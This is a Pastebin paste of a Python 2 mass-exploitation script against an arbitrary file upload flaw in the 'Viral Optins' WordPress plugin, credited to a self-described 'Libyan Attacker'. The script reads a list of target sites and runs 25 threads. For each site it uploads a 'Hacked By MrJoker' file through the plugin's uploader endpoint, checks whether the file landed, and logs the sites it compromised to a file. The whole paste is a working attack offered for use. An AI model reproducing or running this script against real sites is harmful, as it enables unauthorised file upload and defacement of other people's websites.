Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/env python
- #Thanks To : NULLpOint7r ( Multi Threading )
- import re, sys
- try :
- import requests
- except ImportError :
- print 'Install Request'
- exit (-1)
- from random import sample as rand
- from urlnorm import norm as urlnorm
- from threading import Thread
- from Queue import Queue
- requests.packages.urllib3.disable_warnings ()
- banner = '''
- ,--. ,--. ,--. ,--.
- | `.' |,--.--. | | ,---. | |,-. ,---. ,--.--.
- | |'.'| || .--',--. | || .-. || /| .-. :| .--'
- | | | || | | '-' /' '-' '| \ \\ --.| |
- `--' `--'`--' `-----' `---' `--'`--'`----'`--'
- =============================================================================
- || Welcome To WordPrss Plugin ---> Viral Optins - Arbitrary File Upload ||
- =============================================================================
- || Coded By : MrJoker - Libyan Attacker > To : RxR - rOx - Mr Nobody - LGH ||
- =============================================================================
- || Skype : live:mr9_9 - Face : 1337MrJoker - ICQ : 708377334 ||
- =============================================================================
- '''
- print banner
- def exploit (url, fileupload = None) :
- if fileupload == None :
- fileupload = "Hacked By MrJoker"
- filename = 'MrJoker.txt'
- files = {
- 'Filedata' : (filename, fileupload, 'text/html')
- }
- requests.post (url + '/wp-content/plugins/viral-optins/api/uploader/file-uploader.php', verify = False, files = files)
- uploader = url + 'wp-content/uploads/2017/06/' + filename
- res = requests.get (uploader, verify = False)
- if 'Hacked' in res.content :
- open ('Done.txt', 'a').write (uploader + '\n')
- return True
- return False
- def start_worker () :
- while True :
- try :
- url = urlnorm (q.get ())
- if exploit (url) :
- sys.stdout.write (url + ' ===> Done \n')
- else :
- sys.stdout.write (url + '\n')
- except :
- pass
- q.task_done ()
- NUMBER_OF_THREADS = 25
- q = Queue ()
- # start threads
- for i in range (NUMBER_OF_THREADS) :
- t = Thread (target = start_worker)
- t.daemon = True
- t.start ()
- if len (sys.argv) > 1 :
- try :
- file = open (sys.argv[1])
- except IOError :
- print 'File Not Found'
- exit (-1)
- for url in file :
- q.put (url.strip ())
- q.join () # block until all threads are done
- else :
- print '\n\tUsage: python ' + sys.argv[0] + ' list.txt'
Advertisement
Add Comment
Please, Sign In to add comment